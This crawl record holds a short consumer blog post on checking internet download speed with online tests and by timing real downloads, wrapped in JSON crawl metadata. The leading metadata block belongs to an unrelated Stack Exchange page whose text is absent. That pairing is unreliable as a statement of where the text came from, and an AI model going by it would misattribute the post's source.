{ "url": "http://sqa.stackexchange.com/questions/5633/testing-server-workstation-hardware-specs-recommendations?answertab=active", "source_domain": "sqa.stackexchange.com", "snapshot_id": "crawl=CC-MAIN-2015-32", "warc_metadata": { "Content-Length": "81111", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:QUAT5HDXPH4Y73VIOXNUI7M3JAL47ZCO", "WARC-Concurrent-To": "<urn:uuid:9c42218b-7e4b-4177-84b8-bb42ba37c556>", "WARC-Date": "2015-08-02T04:24:44Z", "WARC-IP-Address": "104.16.13.128", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:DIZCYEU5BU7SJVZFTHJW5PWAOX6WGVKO", "WARC-Record-ID": "<urn:uuid:4af50da3-9c68-41ed-9a38-60f291b80c1c>", "WARC-Target-URI": "http://sqa.stackexchange.com/questions/5633/testing-server-workstation-hardware-specs-recommendations?answertab=active", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:4725ebfa-8831-43a5-8e4e-d621588c78b3>" }, "warc_info": "robots: classic\r\nhostname: ip-10-236-191-2.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-32\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 25, 231, 232, 535, 536, 849, 850, 891, 892, 949, 950, 966, 967, 995, 1000, 1511, 1512, 1524, 1525, 1723, 1724, 1919, 1920, 1946, 1947, 2233, 2234, 2260, 2261, 2394, 2395, 2540, 2541, 2747, 2748, 2962, 2963, 3118, 3119, 3145, 3146, 3154, 3155, 3222, 3223, 3456, 3821, 4100, 4377, 4378, 4426, 4427, 4453, 4454, 4466, 4467, 4469, 4477, 4478, 4556, 4557 ], "line_end_idx": [ 25, 231, 232, 535, 536, 849, 850, 891, 892, 949, 950, 966, 967, 995, 1000, 1511, 1512, 1524, 1525, 1723, 1724, 1919, 1920, 1946, 1947, 2233, 2234, 2260, 2261, 2394, 2395, 2540, 2541, 2747, 2748, 2962, 2963, 3118, 3119, 3145, 3146, 3154, 3155, 3222, 3223, 3456, 3821, 4100, 4377, 4378, 4426, 4427, 4453, 4454, 4466, 4467, 4469, 4477, 4478, 4556, 4557, 4647 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4647, "ccnet_original_nlines": 61, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4348279535770416, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03336808830499649, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.15119917690753937, "rps_doc_frac_unique_words": 0.4585908353328705, "rps_doc_mean_word_length": 4.532756328582764, "rps_doc_num_sentences": 41, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.428654670715332, "rps_doc_word_count": 809, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.008181069977581501, "rps_doc_frac_chars_top_3gram": 0.023997820913791656, "rps_doc_frac_chars_top_4gram": 0.009817290119826794, "rps_doc_books_importance": -418.37774658203125, "rps_doc_books_importance_length_correction": -418.37774658203125, "rps_doc_openwebtext_importance": -194.8267364501953, "rps_doc_openwebtext_importance_length_correction": -194.8267364501953, "rps_doc_wikipedia_importance": -125.93965911865234, "rps_doc_wikipedia_importance_length_correction": -125.93965911865234 }, "fasttext": { "dclm": 0.0736551284790039, "english": 0.9476892948150635, "fineweb_edu_approx": 1.5228062868118286, "eai_general_math": 0.022676169872283936, "eai_open_web_math": 0.13902157545089722, "eai_web_code": 0.0012506799539551139 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,884,072,827,627,450,400
Shortcut - A blog by InternetProviders.com Download Speed Tests Check Your Internet Speed By on . You’re paying for an Internet connection with a certain speed, but sometimes it’s hard to tell how fast your websites are actually loading. A download speed test reports exactly what speed your ISP is delivering. If you have broadband, your download speed could be as slow as 3 megabits per second (Mbps) or as fast as 30 Mbps. Since the higher speeds cost more, you want to be sure you’re getting what you pay for.To get a good idea of your average speed, all you need to go is run a speed test a few times. Online Speed Tests A good site for checking your download speed is Bandwidthplace. Simply hit the Start Test button and in 20 seconds you’ll know your actual download speed. The IP-address.com site has a similar test. It’s a good idea to run both, and they should give you results that are about the same. If one is much slower than the other, that’s a good indication there is a problem somewhere. It’s a question your ISP has to answer. Real World Speeds Online download speed tests use fast servers with small files to find your maximum speed. You can compare the results to the speed given by your ISP, which is also the top speed you can expect. During downloads, it’s possible you experience slower speeds because of server overloading, slow intermediate links, or local traffic congestion. Actual Use Download Speed Test You can calculate the speed you’re actually getting when you download a real file by looking for software, images, music, or other files you usually download. Often, the server tells you how big the file is, or once you start downloading, your browser tells you the total size. These file sizes are in megabytes, or MB. If you time how long the download takes and divide the file size by the number of seconds, you get MB/s. A byte is 8 bits — a transmission uses additional bits for starting, stopping, and checking. Using 10 bits per byte gives you a rough estimate of your speed. If you downloaded a 16 MB file in 20 seconds, your speed is 0.8 MB/s, or 8 Mbps. Your real-world download speed is usually much less than your online speed test. Knowing both values lets you estimate how long it will take to download large files, such as HD movies or music collections. You have to carry out both kinds of tests several times to get a true picture of your Internet connection speed since it will sometimes vary. [cf]tracking[/cf]
{ "url": "http://www.internetproviders.com/shortcut/download-speed-test-checks-your-internet-speed/", "source_domain": "www.internetproviders.com", "snapshot_id": "crawl=CC-MAIN-2017-04", "warc_metadata": { "Content-Length": "37252", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:QIY4S3IXTYFNPXSJSUM3LE2HRTAR2SVS", "WARC-Concurrent-To": "<urn:uuid:f5eab82d-29d8-4359-8618-8fe1930aa85b>", "WARC-Date": "2017-01-22T05:53:38Z", "WARC-IP-Address": "63.111.4.21", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:6FQF4WKYS5VHNY43PN56G7YL43M6CKVB", "WARC-Record-ID": "<urn:uuid:f96cb2a7-0b8a-441e-a88c-2fd2bd3435e1>", "WARC-Target-URI": "http://www.internetproviders.com/shortcut/download-speed-test-checks-your-internet-speed/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:fc26dbf7-0356-4b79-97d0-c4b0536d9eb7>" }, "warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 43, 44, 91, 92, 100, 101, 610, 611, 630, 631, 1051, 1052, 1070, 1071, 1411, 1412, 1443, 1444, 1869, 1870, 2109, 2110, 2458, 2459 ], "line_end_idx": [ 43, 44, 91, 92, 100, 101, 610, 611, 630, 631, 1051, 1052, 1070, 1071, 1411, 1412, 1443, 1444, 1869, 1870, 2109, 2110, 2458, 2459, 2476 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2476, "ccnet_original_nlines": 24, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.41287878155708313, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.024621209129691124, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.15530303120613098, "rps_doc_frac_unique_words": 0.4657534062862396, "rps_doc_mean_word_length": 4.479452133178711, "rps_doc_num_sentences": 29, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.840742588043213, "rps_doc_word_count": 438, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.05300714075565338, "rps_doc_frac_chars_top_3gram": 0.01834861934185028, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -233.43307495117188, "rps_doc_books_importance_length_correction": -233.43307495117188, "rps_doc_openwebtext_importance": -160.77239990234375, "rps_doc_openwebtext_importance_length_correction": -160.77239990234375, "rps_doc_wikipedia_importance": -118.8436279296875, "rps_doc_wikipedia_importance_length_correction": -118.8436279296875 }, "fasttext": { "dclm": 0.11281871795654297, "english": 0.9212840795516968, "fineweb_edu_approx": 2.0621848106384277, "eai_general_math": 0.4560104012489319, "eai_open_web_math": 0.2836684584617615, "eai_web_code": 0.02224873937666416 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4